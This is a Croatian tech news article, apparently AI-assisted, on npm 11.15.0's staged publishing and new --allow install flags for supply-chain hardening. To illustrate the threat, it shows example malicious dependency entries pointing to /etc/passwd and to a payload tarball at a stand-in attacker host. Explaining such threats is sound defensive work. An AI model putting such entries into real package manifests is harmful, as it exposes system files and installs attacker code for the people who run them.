GitHub: npm 11.15.0 uvodi staged publishing i tri nova install-time --allow flaga za supply chain hardening
GitHub je objavio npm CLI verziju 11.15.0 koja donosi staged publishing — paketi sad zahtijevaju odobrenje maintainera prije nego što postanu dostupni za instalaciju. Uveden je i set od tri nova install-time flaga (--allow-file, --allow-remote, --allow-directory) uz postojeći --allow-git, za granularnu kontrolu izvora dependency-ja u npm install komandi.
Ovaj članak generiran je uz pomoć umjetne inteligencije na temelju primarnih izvora.
GitHub je 22. svibnja 2026. u 18:27 UTC objavio dva povezana sigurnosna unaprijeđenja npm registry-ja: staged publishing kao novi mehanizam za publish workflow, i tri nova install-time flaga (—allow-file, —allow-remote, —allow-directory) za granularnu kontrolu izvora dependency-ja u npm install. Oba su dostupna od npm CLI verzije 11.15.0, koja je objavljena istovremeno.
Što je staged publishing i kako mijenja workflow?
Stari npm publish workflow bio je atomičan: trenutak kad maintainer pokrene komandu sa svojim publish tokenom, paket je trenutno dostupan globalno za instalaciju kroz sve npm registry mirror-e. Ovaj model je proizvodio dva incidenta godišnje u prosjeku — kompromitirani publish tokeni objavili bi malicious paket koji bi se proširio na tisuće CI-a prije nego što ga je itko otkrio.
Staged publishing dodaje međukorak. Nakon npm publish paket ide u staging stanje koje je vidljivo samo authenticated maintaineru. Maintainer ga može instalirati za vlastito testiranje (npm install paket@staged), pregledati metadata kroz npm view paket —tag staged, i potom eksplicitno pokrenuti npm promote [email protected] da paket prijeđe u javnu dostupnost. Bez promote koraka paket istječe iz staging stanja nakon 7 dana i automatski se briše.
Workflow je opcionalan u trenutnoj verziji ali maintainerov package owner može u package.json postaviti “publishConfig.staged”: true da svi budući publishevi za taj paket budu staged-by-default. Veliki paketi (React, Vue, Next.js) već su najavili da će prijeći na staged publishing default tijekom srpnja 2026.
Što tri nova —allow flaga rade?
npm install do sad je defaultno prihvaćao dependency-je iz nekoliko izvora bez explicit konfiguracije: lokalni file: paths, http(s) tarball URL-ovi, i workspace direktorij reference. To je značilo da package.json od mlinski compromitiranog javnog paketa može sadržavati dependency poput “internal-helpers”: “file:/etc/passwd” ili “auth”: “https://attacker.example/payload.tgz” — i npm install bi ih instalirao bez upozorenja.
Tri nova flaga sad explicit kontroliraju te izvore:
--allow-filedopuštafile:dependency-je (npr. za lokalne monorepo workspace-e koji ne koriste npm workspaces).--allow-remotedopuštahttp(s)tarball URL-ove (npr. za interne package registry-je koji ne hostaju u npm scope-u).--allow-directorydopušta workspace folder reference.
U CI okruženjima (kad je CI=true u env-u) sva tri flaga su defaultno off, što znači da npm install neuspjeva s jasnim error message-om ako package.json sadrži takav dependency. Mora se eksplicitno omogućiti potreban flag u CI scriptu da nastavi. U lokalnim dev okruženjima (CI nije postavljen) flagovi su defaultno on za backward compatibility — ali maintainerov tim može postaviti npm config set allow-file false u .npmrc ako želi i lokalno strict mode.
Kako se ovo uklapa u širu npm supply chain sigurnost?
Ovi mehanizmi se nadovezuju na postojeće npm sigurnosne značajke: npm audit (dependency vulnerability scanning), provenance attestations (kriptografska poveznica paketa s GitHub Actions buildom), i mandatory 2FA za maintainere paketa s više od 1.000 weekly downloads. Staged publishing je drugi sloj koji štiti od kompromitiranih tokena; —allow flagovi su treći sloj koji štiti od malicious dependency injection-a.
GitHub je u istoj objavi najavio da će tijekom ljeta 2026. publicirati npm-policy.json schema koja će dopustiti enterprise tenantima da centralno definiraju koje izvore dependency-ja su prihvatljivi za njihove repozitorije, i da CI sustavi (GitHub Actions, GitLab CI, CircleCI) integriraju enforcement na razini pipeline-a. Pre-release skica schema je dostupna u npm/cli GitHub repozitoriju.
Koja je kompatibilnost s prethodnim verzijama?
npm 11.15.0 je kompatibilan s Node.js 22 LTS i novijim. Staged publishing endpoint na npm registry-ju je dostupan svim klijentima ali starije verzije npm CLI ne razumiju komandu — maintaineri koji žele staged workflow moraju upgradeirati. —allow flagovi su novi CLI argumenti — starije verzije će ih ignorirati ili javiti unknown option warning, što ne lomi backward compatibility.
Česta pitanja
- Što je staged publishing u npm 11.15.0?
- Staged publishing znači da paket nakon objave ide u staging stanje gdje je dostupan samo maintaineru za testiranje. Tek nakon eksplicitnog promote koraka paket postaje javno dostupan za instalaciju. Sprječava da kompromitirani publish token slučajno objavi malicious update.
- Koja su tri nova --allow flaga?
- --allow-file (dopušta lokalne file: dependencyje), --allow-remote (dopušta http(s) tarball URL-ove), i --allow-directory (dopušta workspace folder reference). Defaultno su sva tri zabranjena u CI okruženjima — moraš ih eksplicitno omogućiti za workflow koji ih zaista treba.
- Što ovo mijenja za npm supply chain sigurnost?
- Smanjuje attack surface na dva načina: kompromitirani publish tokeni više ne mogu trenutno objaviti malicious paket (čeka promote), a CI pipeline ne može slučajno instalirati paket iz nepouzdanog izvora (file/remote/dir su default off). Compatible je s npm 11.x i Node.js 22 LTS+.
Povezane vijesti
Anthropic: Project Glasswing pronašao 10.000 visokorizičnih ranjivosti u prvom mjesecu rada s Claude Mythos Preview
Microsoft Research: Vega — ZK proofs za digitalni identitet, 92ms generiranje i 70% brži ponovljeni dokazi
OECD AI: Kolektivna AI sigurnost zahtijeva G7 koordinaciju — prompt injection, agent sigurnost i model poisoning prioriteti